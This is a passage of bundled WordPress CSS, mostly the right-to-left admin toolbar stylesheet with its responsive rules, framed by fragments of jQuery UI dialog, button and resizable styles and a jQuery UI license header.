 */.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;touch-action:none}.ui-resizable-autohide .ui-resizable-handle,.ui-resizable-disabled .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-button{display:inline-block;text-decoration:none;font-size:13px;line-height:2;height:28px;margin:0;padding:0 10px 1px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box;color:#50575e;border-color:#c3c4c7;background:#f6f7f7;box-shadow:0 1px 0 #c3c4c7;vertical-align:top}.ui-button:active,.ui-button:focus{outline:0}.ui-button::-moz-focus-inner{border-width:0;border-style:none;padding:0}.ui-button:focus,.ui-button:hover{background:#f6f7f7;border-color:#8c8f94;color:#1d2327}.ui-button:focus{border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.ui-button:active{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}.ui-button:disabled,.ui-button[disabled]{color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;text-shadow:0 1px 0 #fff!important;cursor:default;transform:none!important}@media screen and (max-width:782px){.ui-button{padding:6px 14px;line-height:normal;font-size:14px;vertical-align:middle;height:auto;margin-bottom:4px}}.ui-dialog{position:absolute;top:0;left:0;z-index:100102;background-color:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);overflow:hidden}.ui-dialog-titlebar{background:#fff;border-bottom:1px solid #dcdcde;height:36px;font-size:18px;font-weight:600;line-height:2;padding:0 36px 0 16px}.ui-button.ui-dialog-titlebar-close{background:0 0;border:none;box-shadow:none;color:#646970;cursor:pointer;display:block;padding:0;position:absolute;top:0;right:0;width:36px;height:36px;text-align:center;border-radius:0;overflow:hidden}.ui-dialog-titlebar-close:before{font:normal 20px/1 dashicons;vertical-align:top;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;line-height:1.8;width:36px;height:36px;content:"\f158"}.ui-button.ui-dialog-titlebar-close:focus,.ui-button.ui-dialog-titlebar-close:hover{color:#135e96}.ui-button.ui-dialog-titlebar-close:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent;outline-offset:-2px}.ui-dialog-content{padding:16px;overflow:auto}.ui-dialog-buttonpane{background:#fff;border-top:1px solid #dcdcde;padding:16px}.ui-dialog-buttonpane .ui-button{margin-left:16px}.ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-widget-overlay{position:fixed;top:0;left:0;right:0;bottom:0;min-height:360px;background:#000;opacity:.7;z-index:100101}/*! This file is auto-generated */
html {
	--wp-admin--admin-bar--height: 32px;
	scroll-padding-top: var(--wp-admin--admin-bar--height);
}

#wpadminbar * {
	height: auto;
	width: auto;
	margin: 0;
	padding: 0;
	position: static;
	text-shadow: none;
	text-transform: none;
	letter-spacing: normal;
	font-size: 13px;
	font-weight: 400;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-style: normal;
	line-height: 2.46153846;
	border-radius: 0;
	box-sizing: content-box;
	transition: none;
	-webkit-font-smoothing: subpixel-antialiased; /* Prevent Safari from switching to standard antialiasing on hover */
	-moz-osx-font-smoothing: auto; /* Prevent Firefox from inheriting from themes that use other values */
}

.rtl #wpadminbar * {
	font-family: Tahoma, sans-serif;
}

html:lang(he-il) .rtl #wpadminbar * {
	font-family: Arial, sans-serif;
}

#wpadminbar .ab-empty-item {
	cursor: default;
}

#wpadminbar .ab-empty-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
	color: #f0f0f1;
}

#wpadminbar #wp-admin-bar-site-name a.ab-item,
#wpadminbar #wp-admin-bar-my-sites a.ab-item {
	white-space: nowrap;
}

#wpadminbar ul li:before,
#wpadminbar ul li:after {
	content: normal;
}

#wpadminbar a,
#wpadminbar a:hover,
#wpadminbar a img,
#wpadminbar a img:hover {
	border: none;
	text-decoration: none;
	background: none;
	box-shadow: none;
}

#wpadminbar a:focus,
#wpadminbar a:active,
#wpadminbar input[type="text"],
#wpadminbar input[type="password"],
#wpadminbar input[type="number"],
#wpadminbar input[type="search"],
#wpadminbar input[type="email"],
#wpadminbar input[type="url"],
#wpadminbar select,
#wpadminbar textarea,
#wpadminbar div {
	box-shadow: none;
}

#wpadminbar a:focus {
	/* Inherits transparent outline only visible in Windows High Contrast mode */
	outline-offset: -1px;
}

#wpadminbar {
	direction: rtl;
	color: #c3c4c7;
	font-size: 13px;
	font-weight: 400;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	line-height: 2.46153846;
	height: 32px;
	position: fixed;
	top: 0;
	right: 0;
	width: 100%;
	min-width: 600px; /* match the min-width of the body in wp-admin/css/common.css */
	z-index: 99999;
	background: #1d2327;
}

#wpadminbar .ab-sub-wrapper,
#wpadminbar ul,
#wpadminbar ul li {
	background: none;
	clear: none;
	list-style: none;
	margin: 0;
	padding: 0;
	position: relative;
	text-indent: 0;
	z-index: 99999;
}

#wpadminbar ul#wp-admin-bar-root-default>li {
	margin-left: 0;
}

#wpadminbar .quicklinks ul {
	text-align: right;
}

#wpadminbar li {
	float: right;
}

#wpadminbar .ab-empty-item {
	outline: none;
}

#wpadminbar .quicklinks .ab-top-secondary > li {
	float: left;
}

#wpadminbar .quicklinks a,
#wpadminbar .quicklinks .ab-empty-item,
#wpadminbar .shortlink-input {
	height: 32px;
	display: block;
	padding: 0 10px;
	margin: 0;
}

#wpadminbar .quicklinks > ul > li > a {
	padding: 0 7px 0 8px;
}

#wpadminbar .menupop .ab-sub-wrapper,
#wpadminbar .shortlink-input {
	margin: 0;
	padding: 0;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
	background: #2c3338;
	display: none;
	position: absolute;
	float: none;
}

#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
	min-width: 100%;
}

#wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper {
	left: 0;
	right: auto;
}

#wpadminbar .ab-submenu {
	padding: 6px 0;
}

#wpadminbar .selected .shortlink-input {
	display: block;
}

#wpadminbar .quicklinks .menupop ul li {
	float: none;
}

#wpadminbar .quicklinks .menupop ul li a strong {
	font-weight: 600;
}

#wpadminbar .quicklinks .menupop ul li .ab-item,
#wpadminbar .quicklinks .menupop ul li a strong,
#wpadminbar .quicklinks .menupop.hover ul li .ab-item,
#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item,
#wpadminbar .shortlink-input {
	line-height: 2;
	height: 26px;
	white-space: nowrap;
	min-width: 140px;
}

#wpadminbar .shortlink-input {
	width: 200px;
}

#wpadminbar.nojs li:hover > .ab-sub-wrapper,
#wpadminbar li.hover > .ab-sub-wrapper {
	display: block;
}

#wpadminbar .menupop li:hover > .ab-sub-wrapper,
#wpadminbar .menupop li.hover > .ab-sub-wrapper {
	margin-right: 100%;
	margin-top: -32px;
}

#wpadminbar .ab-top-secondary .menupop li:hover > .ab-sub-wrapper,
#wpadminbar .ab-top-secondary .menupop li.hover > .ab-sub-wrapper {
	margin-right: 0;
	right: inherit;
	left: 100%;
}

#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar .ab-top-menu > li.hover > .ab-item {
	background: #2c3338;
	color: #72aee6;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
	color: #72aee6;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon,
#wpadminbar .ab-icon,
#wpadminbar .ab-item:before,
.wp-admin-bar-arrow {
	position: relative;
	float: right;
	font: normal 20px/1 dashicons;
	speak: never;
	padding: 4px 0;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	background-image: none !important;
	margin-left: 6px;
}

#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar #adminbarsearch:before {
	color: #a7aaad;
	color: rgba(240, 246, 252, 0.6);
}

#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar #adminbarsearch:before {
	position: relative;
	transition: color .1s ease-in-out;
}

#wpadminbar .ab-label {
	display: inline-block;
	height: 32px;
}

#wpadminbar .ab-submenu .ab-item {
	color: #c3c4c7;
	color: rgba(240, 246, 252, 0.7);
}

#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop ul li a strong,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
	color: #c3c4c7;
	color: rgba(240, 246, 252, 0.7);
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover,
#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
	color: #72aee6;
}

#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
	color: #c3c4c7;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
	color: #72aee6;
}

#wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before,
#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
	position: absolute;
	font: normal 17px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

#wpadminbar .menupop .menupop > .ab-item {
	display: block;
	padding-left: 2em;
}

#wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before {
	top: 1px;
	left: 10px;
	padding: 4px 0;
	content: "\f141";
	color: inherit;
}

#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item {
	padding-right: 2em;
	padding-left: 1em;
}

#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item .wp-admin-bar-arrow:before {
	top: 1px;
	right: 6px;
	content: "\f139";
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary {
	display: block;
	position: relative;
	left: auto;
	margin: 0;
	box-shadow: none;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
	background: #3c434a;
}

#wpadminbar .quicklinks .menupop .ab-sub-secondary > li > a:hover,
#wpadminbar .quicklinks .menupop .ab-sub-secondary > li .ab-item:focus a {
	color: #72aee6;
}

#wpadminbar .quicklinks a span#ab-updates {
	background: #f0f0f1;
	color: #2c3338;
	display: inline;
	padding: 2px 5px;
	font-size: 10px;
	font-weight: 600;
	border-radius: 10px;
}

#wpadminbar .quicklinks a:hover span#ab-updates {
	background: #fff;
	color: #000;
}

#wpadminbar .ab-top-secondary {
	float: left;
}

#wpadminbar ul li:last-child,
#wpadminbar ul li:last-child .ab-item {
	box-shadow: none;
}

/**
 * Recovery Mode
 */
#wpadminbar #wp-admin-bar-recovery-mode {
	color: #fff;
	background-color: #d63638;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover >.ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
	color: #fff;
	background-color: #d63638;
}

/**
 * My Account
 */
#wp-admin-bar-my-account > ul {
	min-width: 198px;
}

#wp-admin-bar-my-account:not(.with-avatar) > .ab-item {
	display: inline-block;
}

#wp-admin-bar-my-account > .ab-item:before {
	content: "\f110";
	top: 2px;
	float: left;
	margin-right: 6px;
	margin-left: 0;
}

#wp-admin-bar-my-account.with-avatar > .ab-item:before {
	display: none;
	content: none;
}

#wp-admin-bar-my-account.with-avatar > ul {
	min-width: 270px;
}

#wpadminbar #wp-admin-bar-user-actions > li {
	margin-right: 16px;
	margin-left: 16px;
}

#wpadminbar #wp-admin-bar-user-actions.ab-submenu {
	padding: 6px 0 12px;
}

#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li {
	margin-right: 88px;
}

#wpadminbar #wp-admin-bar-user-info {
	margin-top: 6px;
	margin-bottom: 15px;
	height: auto;
	background: none;
}

#wp-admin-bar-user-info .avatar {
	position: absolute;
	right: -72px;
	top: 4px;
	width: 64px;
	height: 64px;
}

#wpadminbar #wp-admin-bar-user-info a {
	background: none;
	height: auto;
}

#wpadminbar #wp-admin-bar-user-info span {
	background: none;
	padding: 0;
	height: 18px;
}

#wpadminbar #wp-admin-bar-user-info .display-name,
#wpadminbar #wp-admin-bar-user-info .username {
	display: block;
}

#wpadminbar #wp-admin-bar-user-info .username {
	color: #a7aaad;
	font-size: 11px;
}

#wpadminbar #wp-admin-bar-my-account.with-avatar > .ab-empty-item img,
#wpadminbar #wp-admin-bar-my-account.with-avatar > a img {
	width: auto;
	height: 16px;
	padding: 0;
	border: 1px solid #8c8f94;
	background: #f0f0f1;
	line-height: 1.84615384;
	vertical-align: middle;
	margin: -4px 6px 0 0;
	float: none;
	display: inline;
}

/**
 * WP Logo
 */
#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon {
	width: 15px;
	height: 20px;
	margin-left: 0;
	padding: 6px 0 5px;
}

#wpadminbar #wp-admin-bar-wp-logo > .ab-item {
	padding: 0 7px;
}

#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
	content: "\f120";
	top: 2px;
}

/*
 * My Sites & Site Title
 */
#wpadminbar .quicklinks li .blavatar {
	display: inline-block;
	vertical-align: middle;
	font: normal 16px/1 dashicons !important;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	color: #f0f0f1;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar {
	color: #72aee6;
}

#wpadminbar .quicklinks li img.blavatar,
#wpadminbar .quicklinks li div.blavatar:before {
	height: 16px;
	width: 16px;
	margin: 0 -2px 2px 8px;
}

#wpadminbar .quicklinks li div.blavatar:before {
	content: "\f120";
	display: inline-block;
}

#wpadminbar #wp-admin-bar-appearance {
	margin-top: -12px;
}

#wpadminbar #wp-admin-bar-my-sites > .ab-item:before,
#wpadminbar #wp-admin-bar-site-name > .ab-item:before {
	content: "\f541";
	top: 2px;
}

#wpadminbar #wp-admin-bar-site-editor > .ab-item:before {
	content: "\f100";
	top: 2px;
}

#wpadminbar #wp-admin-bar-customize > .ab-item:before {
	content: "\f540";
	top: 2px;
}

#wpadminbar #wp-admin-bar-edit > .ab-item:before {
	content: "\f464";
	top: 2px;
}

#wpadminbar #wp-admin-bar-site-name > .ab-item:before {
	content: "\f226";
}

.wp-admin #wpadminbar #wp-admin-bar-site-name > .ab-item:before {
	content: "\f102";
}



/**
 * Comments
 */
#wpadminbar #wp-admin-bar-comments .ab-icon {
	margin-left: 6px;
}

#wpadminbar #wp-admin-bar-comments .ab-icon:before {
	content: "\f101";
	top: 3px;
}

#wpadminbar #wp-admin-bar-comments .count-0 {
	opacity: .5;
}

/**
 * New Content
 */
#wpadminbar #wp-admin-bar-new-content .ab-icon:before {
	content: "\f132";
	top: 4px;
}

/**
 * Updates
 */
#wpadminbar #wp-admin-bar-updates .ab-icon:before {
	content: "\f463";
	top: 2px;
}

#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before {
	display: inline-block;
	animation: rotation 2s infinite linear;
}

@media (prefers-reduced-motion: reduce) {
	#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before {
		animation: none;
	}
}

/**
 * Search
 */

#wpadminbar #wp-admin-bar-search .ab-item {
	padding: 0;
	background: transparent;
}

#wpadminbar #adminbarsearch {
	position: relative;
	height: 32px;
	padding: 0 2px;
	z-index: 1;
}

#wpadminbar #adminbarsearch:before {
	position: absolute;
	top: 6px;
	right: 5px;
	z-index: 20;
	font: normal 20px/1 dashicons !important;
	content: "\f179";
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

/* The admin bar search field needs to reset many styles that might be inherited from the active Theme CSS. See ticket #40313. */
#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input {
	display: inline-block;
	float: none;
	position: relative;
	z-index: 30;
	font-size: 13px;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	line-height: 1.84615384;
	text-indent: 0;
	height: 24px;
	width: 24px;
	max-width: none;
	padding: 0 24px 0 3px;
	margin: 0;
	color: #c3c4c7;
	background-color: rgba(255, 255, 255, 0);
	border: none;
	outline: none;
	cursor: pointer;
	box-shadow: none;
	box-sizing: border-box;
	transition-duration: 400ms;
	transition-property: width, background;
	transition-timing-function: ease;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
	z-index: 10;
	color: #000;
	width: 200px;
	background-color: rgba(255, 255, 255, 0.9);
	cursor: text;
	border: 0;
}

#wpadminbar #adminbarsearch .adminbar-button {
	display: none;
}

/**
 * Customize support classes
 */
.no-customize-support .hide-if-no-customize,
.customize-support .hide-if-customize,
.no-customize-support #wpadminbar .hide-if-no-customize,
.no-customize-support.wp-core-ui .hide-if-no-customize,
.no-customize-support .wp-core-ui .hide-if-no-customize,
.customize-support #wpadminbar .hide-if-customize,
.customize-support.wp-core-ui .hide-if-customize,
.customize-support .wp-core-ui .hide-if-customize {
	display: none;
}

/* Skip link */
#wpadminbar .screen-reader-text,
#wpadminbar .screen-reader-text span {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important;
}

#wpadminbar .screen-reader-shortcut {
	position: absolute;
	top: -1000em;
	right: 6px;
	height: auto;
	width: auto;
	display: block;
	font-size: 14px;
	font-weight: 600;
	padding: 15px 23px 14px;
	background: #f0f0f1;
	color: #2271b1;
	z-index: 100000;
	line-height: normal;
	text-decoration: none;
}

#wpadminbar .screen-reader-shortcut:focus {
	top: 7px;
	background: #f0f0f1;
	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
}

@media screen and (max-width: 782px) {
	html {
		--wp-admin--admin-bar--height: 46px;
	}

	/* Toolbar Touchification*/
	html #wpadminbar {
		height: 46px;
		min-width: 240px; /* match the min-width of the body in wp-admin/css/common.css */
	}

	#wpadminbar * {
		font-size: 14px;
		font-weight: 400;
		font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
		line-height: 2.28571428;
	}

	#wpadminbar .quicklinks > ul > li > a,
	#wpadminbar .quicklinks .ab-empty-item {
		padding: 0;
		height: 46px;
		line-height: 3.28571428;
		width: auto;
	}

	#wpadminbar .ab-icon {
		font: 40px/1 dashicons !important;
		margin: 0;
		padding: 0;
		width: 52px;
		height: 46px;
		text-align: center;
	}

	#wpadminbar .ab-icon:before {
		text-align: center;
	}

	#wpadminbar .ab-submenu {
		padding: 0;
	}

	#wpadminbar #wp-admin-bar-site-name a.ab-item,
	#wpadminbar #wp-admin-bar-my-sites a.ab-item,
	#wpadminbar #wp-admin-bar-my-account a.ab-item {
		text-overflow: clip;
	}

	#wpadminbar .quicklinks .menupop ul li .ab-item,
	#wpadminbar .quicklinks .menupop ul li a strong,
	#wpadminbar .quicklinks .menupop.hover ul li .ab-item,
	#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item,
	#wpadminbar .shortlink-input {
	    line-height: 1.6;
	}

	#wpadminbar .ab-label {
		border: 0;
		clip: rect(1px, 1px, 1px, 1px);
		-webkit-clip-path: inset(50%);
		clip-path: inset(50%);
		height: 1px;
		margin: -1px;
		overflow: hidden;
		padding: 0;
		position: absolute;
		width: 1px;
		word-wrap: normal !important;
	}

	#wpadminbar .menupop li:hover > .ab-sub-wrapper,
	#wpadminbar .menupop li.hover > .ab-sub-wrapper {
		margin-top: -46px;
	}

	#wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop > .ab-item {
		padding-left: 30px;
	}

	#wpadminbar .menupop .menupop > .ab-item:before {
		top: 10px;
		left: 6px;
	}

	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper .ab-item {
		font-size: 16px;
		padding: 8px 16px;
	}

	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper a:empty {
		display: none;
	}

	/* WP logo */
	#wpadminbar #wp-admin-bar-wp-logo > .ab-item {
		padding: 0;
	}

	#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon {
		padding: 0;
		width: 52px;
		height: 46px;
		text-align: center;
		vertical-align: top;
	}

	#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
		font: 28px/1 dashicons !important;
		top: -3px;
	}

	#wpadminbar .ab-icon,
	#wpadminbar .ab-item:before {
		padding: 0;
	}

	/* My Sites and "Site Title" menu */
	#wpadminbar #wp-admin-bar-my-sites > .ab-item,
	#wpadminbar #wp-admin-bar-site-name > .ab-item,
	#wpadminbar #wp-admin-bar-site-editor > .ab-item,
	#wpadminbar #wp-admin-bar-customize > .ab-item,
	#wpadminbar #wp-admin-bar-edit > .ab-item,
	#wpadminbar #wp-admin-bar-my-account > .ab-item {
		text-indent: 100%;
		white-space: nowrap;
		overflow: hidden;
		width: 52px;
		padding: 0;
		color: #a7aaad; /* @todo not needed? this text is hidden */
		position: relative;
	}

	#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon,
	#wpadminbar .ab-icon,
	#wpadminbar .ab-item:before {
		padding: 0;
		margin-left: 0;
	}

	#wpadminbar #wp-admin-bar-edit > .ab-item:before,
	#wpadminbar #wp-admin-bar-my-sites > .ab-item:before,
	#wpadminbar #wp-admin-bar-site-name > .ab-item:before,
	#wpadminbar #wp-admin-bar-site-editor > .ab-item:before,
	#wpadminbar #wp-admin-bar-customize > .ab-item:before,
	#wpadminbar #wp-admin-bar-my-account > .ab-item:before {
		display: block;
		text-indent: 0;
		font: normal 32px/1 dashicons;
		speak: never;
		top: 7px;
		width: 52px;
		text-align: center;
		-webkit-font-smoothing: antialiased;
		-moz-osx-font-smoothing: grayscale;
	}

	#wpadminbar #wp-admin-bar-appearance {
		margin-top: 0;
	}

	#wpadminbar .quicklinks li .blavatar:before {
		display: none;
	}

	/* Search */
	#wpadminbar #wp-admin-bar-search {
		display: none;
	}

	/* New Content */
	#wpadminbar #wp-admin-bar-new-content .ab-icon:before {
		top: 0;
		line-height: 1.33333333;
		height: 46px !important;
		text-align: center;
		width: 52px;
		display: block;
	}

	/* Updates */
	#wpadminbar #wp-admin-bar-updates {
		text-align: center;
	}

	#wpadminbar #wp-admin-bar-updates .ab-icon:before {
		top: 3px;
	}

	/* Comments */
	#wpadminbar #wp-admin-bar-comments .ab-icon {
		margin: 0;
	}

	#wpadminbar #wp-admin-bar-comments .ab-icon:before {
		display: block;
		font-size: 34px;
		height: 46px;
		line-height: 1.38235294;
		top: 0;
	}

	/* My Account */
	#wpadminbar #wp-admin-bar-my-account > a {
		position: relative;
		white-space: nowrap;
		text-indent: 150%; /* More than 100% indention is needed since this element has padding */
		width: 28px;
		padding: 0 10px;
		overflow: hidden; /* Prevent link text from forcing horizontal scrolling on mobile */
	}

	#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
		position: absolute;
		top: 13px;
		left: 10px;
		width: 26px;
		height: 26px;
	}

	#wpadminbar #wp-admin-bar-user-actions.ab-submenu {
		padding: 0;
	}

	#wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar {
		display: none;
	}

	#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li {
		margin: 0;
	}

	#wpadminbar #wp-admin-bar-user-info .display-name {
		height: auto;
		font-size: 16px;
		line-height: 1.5;
		color: #f0f0f1;
	}

	#wpadminbar #wp-admin-bar-user-info a {
		padding-top: 4px;
	}

	#wpadminbar #wp-admin-bar-user-info .username {
		line-height: 0.8 !important;
		margin-bottom: -2px;
	}

	/* Show only default top level items */
	#wp-toolbar > ul > li {
		display: none;
	}

	#wpadminbar li#wp-admin-bar-menu-toggle,
	#wpadminbar li#wp-admin-bar-wp-logo,
	#wpadminbar li#wp-admin-bar-my-sites,
	#wpadminbar li#wp-admin-bar-updates,
	#wpadminbar li#wp-admin-bar-site-name,
	#wpadminbar li#wp-admin-bar-site-editor,
	#wpadminbar li#wp-admin-bar-customize,
	#wpadminbar li#wp-admin-bar-new-content,
	#wpadminbar li#wp-admin-bar-edit,
	#wpadminbar li#wp-admin-bar-comments,
	#wpadminbar li#wp-admin-bar-my-account {
		display: block;
	}

	/* Allow dropdown list items to appear normally */
	#wpadminbar li:hover ul li,
	#wpadminbar li.hover ul li,
	#wpadminbar li:hover ul li:hover ul li {
		display: list-item;
	}

	/* Override default min-width so dropdown lists aren't stretched
		to 100% viewport width at responsive sizes. */
	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
		min-width: -moz-fit-content;
		min-width: fit-content;
	}

	#wpadminbar ul#wp-admin-bar-root-default > li {
		margin-left: 0;
	}

	/* Experimental fix for touch toolbar dropdown positioning */
	#wpadminbar .ab-top-menu,
	#wpadminbar .ab-top-secondary,
	#wpadminbar #wp-admin-bar-wp-logo,
	#wpadminbar #wp-admin-bar-my-sites,
	#wpadminbar #wp-admin-bar-site-name,
	#wpadminbar #wp-admin-bar-updates,
	#wpadminbar #wp-admin-bar-comments,
	#wpadminbar #wp-admin-bar-new-content,
	#wpadminbar #wp-admin-bar-edit,
	#wpadminbar #wp-admin-bar-my-account {
		position: static;
	}

	#wpadminbar #wp-admin-bar-my-account {
		float: left;
	}

	.network-admin #wpadminbar ul#wp-admin-bar-top-secondary > li#wp-admin-bar-my-account {
		margin-left: 0;
	}

	/* Realign arrows on taller responsive submenus */

	#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
		top: 10px;
		right: 0;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	#wpadminbar {
		position: absolute;
	}

	#wp-responsive-overlay {
		position: fixed;
		top: 0;
		right: 0;
		width: 100%;
		height: 100%;
		z-index: 400;
	}

	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
		width: 100%;
		right: 0;
	}

	#wpadminbar .menupop .menupop > .ab-item:before {
		display: none;
	}

	#wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper {
		margin-right: 0;
	}

	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper {
		margin: 0;
		width: 100%;
		top: auto;
		right: auto;
		position: relative;
	}

	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper .ab-item {
		font-size: 16px;
		padding: 6px 30px 19px 15px;
	}

	#wpadminbar li:hover ul li ul li {
		display: list-item;
	}

	#wpadminbar li#wp-admin-bar-wp-logo,
	#wpadminbar li#wp-admin-bar-updates {
		display: none;
	}

	/* Make submenus full-width at this size */

	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper {
		position: static;
		box-shadow: none;
	}
}

/* Very narrow screens */
@media screen and (max-width: 400px) {
	#wpadminbar li#wp-admin-bar-comments {
		display: none;
	}
}
/*! This file is auto-generated */
/*!
 * jQuery UI CSS Framework 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/category/theming/
